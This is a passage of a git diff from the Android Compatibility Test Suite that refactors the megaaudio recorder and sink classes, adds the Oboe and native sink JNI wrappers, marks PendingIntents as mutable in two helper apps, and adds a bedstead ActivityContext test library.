diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
index 558b4ac..f21a872 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
@@ -16,6 +16,15 @@
package org.hyphonate.megaaudio.recorder;
public interface AudioSinkProvider {
- AudioSink getJavaSink();
- long getOboeSink();
+ /**
+ * @return return a Java AudioSink subclass object corresponding to the AudioSourceProvider
+ * implementation.
+ */
+ AudioSink allocJavaSink();
+
+ /**
+ * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+ * implementation (stored in a long).
+ */
+ NativeAudioSink allocNativeSink();
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
index 4257953..387f7da 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
@@ -15,6 +15,7 @@
*/
package org.hyphonate.megaaudio.recorder;
+import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.os.Looper;
@@ -29,7 +30,7 @@
* API, i.e. AudioRecord.
*/
public class JavaRecorder extends Recorder {
- @SuppressWarnings("unused") private static String TAG = JavaRecorder.class.getSimpleName();
+ @SuppressWarnings("unused") private static final String TAG = JavaRecorder.class.getSimpleName();
@SuppressWarnings("unused") private static final boolean LOG = true;
/** The buffer to receive the recorder samples */
@@ -47,22 +48,40 @@
private AudioSink mAudioSink;
+ private int mInputPreset = INPUT_PRESET_NONE;
+
+ @Override
+ public int getRoutedDeviceId() {
+ if (mAudioRecord != null) {
+ AudioDeviceInfo routedDevice = mAudioRecord.getRoutedDevice();
+ return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+ } else {
+ return ROUTED_DEVICE_ID_INVALID;
+ }
+ }
+
/**
- * The listener to receive notifications of recording events
- * @see {@link JavaSinkHandler}
- */
+ * The listener to receive notifications of recording events
+ * @see {@link JavaSinkHandler}
+ */
private JavaSinkHandler mListener = null;
public JavaRecorder(AudioSinkProvider sinkProvider) {
super(sinkProvider);
}
+ //
+ // Attributes
+ //
/** The buff to receive the recorder samples */
public float[] getFloatBuffer() { return mRecorderBuffer; }
// JavaRecorder-specific extension
public AudioRecord getAudioRecord() { return mAudioRecord; }
+ @Override
+ public void setInputPreset(int preset) { mInputPreset = preset; }
+
/*
* State
*/
@@ -72,9 +91,9 @@
}
@Override
- public boolean setupAudioStream(int channelCount, int sampleRate, int numBurstFrames) {
+ public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
if (LOG) {
- Log.i(TAG, "setupAudioStream(chans:" + channelCount + ", rate:" + sampleRate +
+ Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
", frames:" + numBurstFrames);
}
mChannelCount = channelCount;
@@ -83,14 +102,19 @@
try {
int frameSize = calcFrameSizeInBytes(mChannelCount);
- mAudioRecord = new AudioRecord.Builder()
- .setAudioFormat(new AudioFormat.Builder()
+ AudioRecord.Builder builder = new AudioRecord.Builder();
+
+ builder.setAudioFormat(new AudioFormat.Builder()
.setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
.setSampleRate(mSampleRate)
.setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
- .build())
- .setBufferSizeInBytes(numBurstFrames * frameSize)
- .build();
+ .build());
+ // .setBufferSizeInBytes(numBurstFrames * frameSize)
+ if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+ builder.setAudioSource(mInputPreset);
+ }
+ mAudioRecord = builder.build();
+ mAudioRecord.setPreferredDevice(mRouteDevice);
mNumBuffFrames = mAudioRecord.getBufferSizeInFrames();
@@ -99,9 +123,10 @@
if (mSinkProvider == null) {
mSinkProvider = new NopAudioSinkProvider();
}
- mAudioSink = mSinkProvider.getJavaSink();
+ mAudioSink = mSinkProvider.allocJavaSink();
+ mAudioSink.init(mNumBuffFrames, mChannelCount);
mListener = new JavaSinkHandler(this, mAudioSink, Looper.getMainLooper());
- return true;
+ return OK;
} catch (UnsupportedOperationException ex) {
if (LOG) {
Log.i(TAG, "Couldn't open AudioRecord: " + ex);
@@ -110,12 +135,12 @@
mNumBuffFrames = 0;
mRecorderBuffer = null;
- return false;
+ return ERROR_UNSUPPORTED;
}
}
@Override
- public void teardownAudioStream() {
+ public int teardownStream() {
stopStream();
waitForStreamThreadToExit();
@@ -127,18 +152,29 @@
mChannelCount = 0;
mSampleRate = 0;
+
+ //TODO Retrieve errors from above
+ return OK;
}
@Override
- public boolean startStream() {
-
- // Routing
+ public int startStream() {
+ if (LOG) {
+ Log.i(TAG, "startStream() mAudioRecord:" + mAudioRecord);
+ }
+ if (mAudioRecord == null) {
+ return ERROR_INVALID_STATE;
+ }
+// // Routing
// mAudioRecord.setPreferredDevice(mRoutingDevice);
-//
+
if (mListener != null) {
mListener.sendEmptyMessage(JavaSinkHandler.MSG_START);
}
+// if (mAudioSink != null) {
+// mAudioSink.init(mNumBuffFrames, mChannelCount);
+// }
try {
mAudioRecord.startRecording();
} catch (IllegalStateException ex) {
@@ -151,7 +187,7 @@
mRecording = true;
mStreamThread.start();
- return true;
+ return OK;
}
/**
@@ -160,8 +196,9 @@
* Returns immediately, though a call to AudioSource.push() may be in progress.
*/
@Override
- public void stopStream() {
+ public int stopStream() {
mRecording = false;
+ return OK;
}
// @Override
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
index 1e0bb3b..58c1ebe 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
@@ -59,7 +59,7 @@
case MSG_BUFFER_FILL:
if (mSink != null) {
- mSink.process(mRecorder.getDataBuffer(),
+ mSink.push(mRecorder.getDataBuffer(),
mRecorder.getNumBufferFrames(), mRecorder.getChannelCount());
}
break;
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
new file mode 100644
index 0000000..ded8ca2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class NativeAudioSink extends AudioSink {
+ private long mNativeSinkPtr;
+
+ public NativeAudioSink(long nativeSinkPtr) {
+ mNativeSinkPtr = nativeSinkPtr;
+ }
+
+ // Use this to call the AudioSource methods in C++ directly
+ public long getNativeObject() { return mNativeSinkPtr; }
+
+ @Override
+ public void init(int numFrames, int numChans) {
+ initN(mNativeSinkPtr, numFrames, numChans);
+ }
+
+ @Override
+ public void start() {
+ startN(mNativeSinkPtr);
+ }
+
+ @Override
+ public void stop(int lastBufferFrames) {
+ stopN(mNativeSinkPtr);
+ }
+
+ @Override
+ public void push(float[] audioData, int numFrames, int numChans) {
+ pushN(mNativeSinkPtr, audioData, numFrames, numChans);
+ }
+
+ private native void initN(long nativeSinkPtr, int numFrames, int numChans);
+ private native void startN(long nativeSinkPtr);
+ private native void stopN(long nativeSinkPtr);
+ private native void pushN(long nativeSinkPtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
new file mode 100644
index 0000000..bb8e05d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class OboeRecorder extends Recorder {
+ private int mRecorderSubtype;
+ private long mNativeRecorder;
+
+ public OboeRecorder(AudioSinkProvider sinkProvider, int subType) {
+ super(sinkProvider);
+
+ mRecorderSubtype = subType;
+ mNativeRecorder = allocNativeRecorder(sinkProvider.allocNativeSink().getNativeObject(), mRecorderSubtype);
+ }
+
+ //
+ // Attributes
+ //
+ @Override
+ public int getNumBufferFrames() {
+ return getNumBufferFramesN(mNativeRecorder);
+ }
+
+ @Override
+ public void setInputPreset(int preset) {
+ setInputPresetN(mNativeRecorder, preset);
+ }
+
+ @Override
+ public int getRoutedDeviceId() { return getRoutedDeviceIdN(mNativeRecorder); }
+
+ //
+ // State
+ //
+ @Override
+ public boolean isRecording() {
+ return isRecordingN(mNativeRecorder);
+ }
+
+ @Override
+ public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+ mChannelCount = channelCount;
+ mSampleRate = sampleRate;
+ return setupStreamN(mNativeRecorder, channelCount, sampleRate,
+ mRouteDevice == null ? -1 : mRouteDevice.getId());
+ }
+
+ @Override
+ public int teardownStream() {
+ int errCode = teardownStreamN(mNativeRecorder);
+ mChannelCount = 0;
+ mSampleRate = 0;
+
+ return errCode;
+ }
+
+ @Override
+ public int startStream() {
+ return startStreamN(mNativeRecorder, mRecorderSubtype);
+ }
+
+ @Override
+ public int stopStream() {
+ return stopN(mNativeRecorder);
+ }
+
+ private native long allocNativeRecorder(long nativeSink, int recorderSubtype);
+
+ private native boolean isRecordingN(long nativeRecorder);
+
+ private native int getBufferFrameCountN(long nativeRecorder);
+ private native void setInputPresetN(long nativeRecorder, int inputPreset);
+
+ private native int getRoutedDeviceIdN(long nativeRecorder);
+
+ private native int setupStreamN(long nativeRecorder, int channelCount, int sampleRate, int routeDeviceId);
+ private native int teardownStreamN(long nativeRecorder);
+
+ private native int startStreamN(long nativeRecorder, int recorderSubtype);
+
+ private native int stopN(long nativeRecorder);
+
+ private native int getNumBufferFramesN(long nativeRecorder);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
index fff28d6..004ef1b 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
@@ -23,9 +23,16 @@
public abstract class Recorder extends StreamBase {
protected AudioSinkProvider mSinkProvider;
+ // This value is to indicate that no explicit call to set an input preset in the builder
+ // will be made.
+ // Constants can be found here:
+ // https://developer.android.com/reference/android/media/MediaRecorder.AudioSource
+ public static final int INPUT_PRESET_NONE = -1;
+
public Recorder(AudioSinkProvider sinkProvider) {
mSinkProvider = sinkProvider;
}
+ public abstract void setInputPreset(int preset);
/*
* State
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
index 78234da..737dfb8 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
@@ -15,12 +15,16 @@
*/
package org.hyphonate.megaaudio.recorder;
+import android.media.AudioDeviceInfo;
+
import org.hyphonate.megaaudio.common.BuilderBase;
public class RecorderBuilder extends BuilderBase {
private AudioSinkProvider mSinkProvider;
+ private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
public RecorderBuilder() {
}
@@ -35,6 +39,11 @@
return this;
}
+ public RecorderBuilder setInputPreset(int inputPreset) {
+ mInputPreset = inputPreset;
+ return this;
+ }
+
public Recorder build() throws BadStateException {
if (mSinkProvider == null) {
throw new BadStateException();
@@ -43,16 +52,19 @@
Recorder recorder = null;
int playerType = mType & TYPE_MASK;
switch (playerType) {
+ case TYPE_NONE:
+ // NOP
+ break;
+
case TYPE_JAVA:
recorder = new JavaRecorder(mSinkProvider);
break;
- // FIXME - Uncomment this code when the oboe-based implementation is integrated.
-// case TYPE_OBOE:{
-// int recorderSubType = mType & SUB_TYPE_MASK;
-// recorder = new OboeRecorder(mSinkProvider, recorderSubType);
-// }
-// break;
+ case TYPE_OBOE:{
+ int recorderSubType = mType & SUB_TYPE_MASK;
+ recorder = new OboeRecorder(mSinkProvider, recorderSubType);
+ }
+ break;
default:
throw new BadStateException();
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
index e39a13f..2d9d17e 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
@@ -27,7 +27,7 @@
}
@Override
- public void process(float[] audioData, int numFrames, int numChans) {
+ public void push(float[] audioData, int numFrames, int numChans) {
mCallback.onDataReady(audioData, numFrames);
}
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
index 867bfce..9d275c8 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
@@ -17,6 +17,7 @@
import org.hyphonate.megaaudio.recorder.AudioSink;
import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
public class AppCallbackAudioSinkProvider implements AudioSinkProvider {
private AppCallback mCallbackObj;
@@ -26,16 +27,17 @@
mCallbackObj = callback;
}
- public AudioSink getJavaSink() {
+ public AudioSink allocJavaSink() {
return new AppCallbackAudioSink(mCallbackObj);
+ // return allocNativeSink();
}
@Override
- public long getOboeSink() {
- return mOboeSinkObj = getOboeSinkN(mCallbackObj);
+ public NativeAudioSink allocNativeSink() {
+ return new NativeAudioSink(mOboeSinkObj = allocOboeSinkN(mCallbackObj));
}
- private native long getOboeSinkN(AppCallback callbackObj);
+ private native long allocOboeSinkN(AppCallback callbackObj);
public void releaseJNIResources() {
releaseJNIResourcesN(mOboeSinkObj);
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
index 9d41141..7a29e33 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
@@ -19,7 +19,7 @@
public class NopAudioSink extends AudioSink {
@Override
- public void process(float[] audioData, int numFrames, int numChannels) {
+ public void push(float[] audioData, int numFrames, int numChannels) {
// NOP
}
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
index 6a2d584..efddc88 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
@@ -17,15 +17,17 @@
import org.hyphonate.megaaudio.recorder.AudioSink;
import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
public class NopAudioSinkProvider implements AudioSinkProvider {
@Override
- public AudioSink getJavaSink() {
+ public AudioSink allocJavaSink() {
return new NopAudioSink();
}
@Override
- public long getOboeSink() {
- return 0;
+ public NativeAudioSink allocNativeSink() {
+ //||| TODO - implement this
+ return null;
}
}
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
.setClass(context, AlarmReceiver.class)
.putExtra(EXTRA_ON_ALARM, onAlarm);
return PendingIntent.getBroadcast(context, 0, alarmIntent,
- PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
}
}
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
new Intent(ACTION_INLINE_REPLY)
.setComponent(new ComponentName(context, NotificationBot.class))
.putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
final RemoteInput ri = new RemoteInput.Builder("result")
.setLabel("Type something here and press send button").build();
diff --git a/common/device-side/bedstead/OWNERS b/common/device-side/bedstead/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/Android.bp b/common/device-side/bedstead/activitycontext/Android.bp
new file mode 100644
index 0000000..0d45271
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/Android.bp
@@ -0,0 +1,29 @@
+android_library {
+ name: "ActivityContext",
+ sdk_version: "current",
+ srcs: [
+ "src/main/java/**/*.java"
+ ],
+ static_libs: [
+ "EventLib",
+ "compatibility-device-util-axt",
+ ],
+ manifest: "src/main/AndroidManifest.xml",
+}
+
+android_test {
+ name: "ActivityContextTest",
+ srcs: [
+ "src/test/java/**/*.java"
+ ],
+ test_suites: [
+ "general-tests",
+ ],
+ static_libs: [
+ "ActivityContext",
+ "androidx.test.ext.junit",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ ],
+ manifest: "src/test/AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/AndroidTest.xml b/common/device-side/bedstead/activitycontext/AndroidTest.xml
new file mode 100644
index 0000000..fc7e55a
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Config for ActivityContext test cases">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="ActivityContextTest.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="com.android.activitycontext.test" />
+ </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/TEST_MAPPING b/common/device-side/bedstead/activitycontext/TEST_MAPPING
new file mode 100644
index 0000000..a271e3d
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "ActivityContextTest"
+ }
+ ]
+}
diff --git a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f36dab9
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.activitycontext">
+ <application>
+ <activity android:name=".ActivityContext" android:exported="true"/>
+ </application>
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
new file mode 100644
index 0000000..4c77b65
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils.QuadFunction;
+import com.android.compatibility.common.util.ShellIdentityUtils.TriFunction;
+import com.android.eventlib.premade.EventLibActivity;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.function.BiConsumer;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+public class ActivityContext extends EventLibActivity {
+
+ private static final String LOG_TAG = "ActivityContext";
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ private static Function<Activity, ?> sRunnable;
+ private static Object sReturnValue;
+ private static CountDownLatch sLatch;
+
+ /**
+ * Run some code using an Activity {@link Context}.
+ *
+ * <p>This method should only be called from an instrumented app.
+ *
+ * <p>The {@link Activity} will be valid within the {@code runnable} callback. Passing the
+ * {@link Activity} outside of the callback is not recommended because it may become invalid
+ * due to lifecycle changes.
+ *
+ * <p>This method will block until the callback has been executed. It will return the same value
+ * as returned by the callback.
+ */
+ public static <E> E getWithContext(Function<Activity, E> runnable) throws InterruptedException {
+ synchronized (ActivityContext.class) {
+ sRunnable = runnable;
+
+ sLatch = new CountDownLatch(1);
+ sReturnValue = null;
+
+ Intent intent = new Intent();
+ intent.setClass(CONTEXT, ActivityContext.class);
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ CONTEXT.startActivity(intent);
+ }
+
+ sLatch.await();
+
+ synchronized (ActivityContext.class) {
+ sRunnable = null;
+ return (E) sReturnValue;
+ }
+ }
+
+ /** {@link #getWithContext(Function)} which does not return a value. */
+ public static void runWithContext(Consumer<Activity> runnable) throws InterruptedException {
+ getWithContext((inContext) -> {runnable.accept(inContext); return null; });
+ }
+
+ /** {@link #getWithContext(Function)} with an additional argument. */
+ public static <E, F> F getWithContext(E arg1,
+ BiFunction<Activity, E, F> runnable) throws InterruptedException {
+ return getWithContext((inContext) -> runnable.apply(inContext, arg1));
+ }
+
+ /**
+ * {@link #getWithContext(Function)} which takes an additional argument and does not
+ * return a value.
+ */
+ public static <E> void runWithContext(E arg1, BiConsumer<Activity, E> runnable)
+ throws InterruptedException {
+ getWithContext((inContext) -> {runnable.accept(inContext, arg1); return null; });
+ }
+
+ /** {@link #getWithContext(Function)} with two additional arguments. */
+ public static <E, F, G> G getWithContext(E arg1, F arg2,
+ TriFunction<Activity, E, F, G> runnable) throws InterruptedException {
+ return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2));
+ }
+
+ /** {@link #getWithContext(Function)} with three additional arguments. */
+ public static <E, F, G, H> H getWithContext(E arg1, F arg2, G arg3,
+ QuadFunction<Activity, E, F, G, H> runnable) throws InterruptedException {
+ return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2, arg3));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ synchronized (ActivityContext.class) {
+ if (sRunnable == null) {
+ Log.e(LOG_TAG, "Launched ActivityContext without runnable");
+ } else {
+ sReturnValue = sRunnable.apply(this);
+ sLatch.countDown();
+ }
+ }
+ }
+}
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..21a5dfc
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.activitycontext.test">
+ <application
+ android:label="ActivityContext Tests">
+ <uses-library android:name="android.test.runner" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.activitycontext.test"
+ android:label="Activity Context Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
new file mode 100644
index 0000000..2086cf1
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.compatibility.common.util.BlockingCallback;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+import java.util.function.BiConsumer;
+import java.util.function.Consumer;
+
+@RunWith(JUnit4.class)
+public class ActivityContextTest {
+ private static final String STRING_VALUE = "String";
+ private static final int INT_VALUE = 1;
+ private static final boolean BOOLEAN_VALUE = true;
+
+ @Test
+ public void getWithContext_passesActivityContext() throws Exception {
+ boolean contextIsActivityContext = ActivityContext.getWithContext(Objects::nonNull);
+
+ assertThat(contextIsActivityContext).isTrue();
+ }
+
+ @Test
+ public void getWithContext_oneArgument_passesActivityContext() throws Exception {
+ boolean contextIsActivityContext = ActivityContext.getWithContext(
+ STRING_VALUE, (context, str) -> context != null);
+
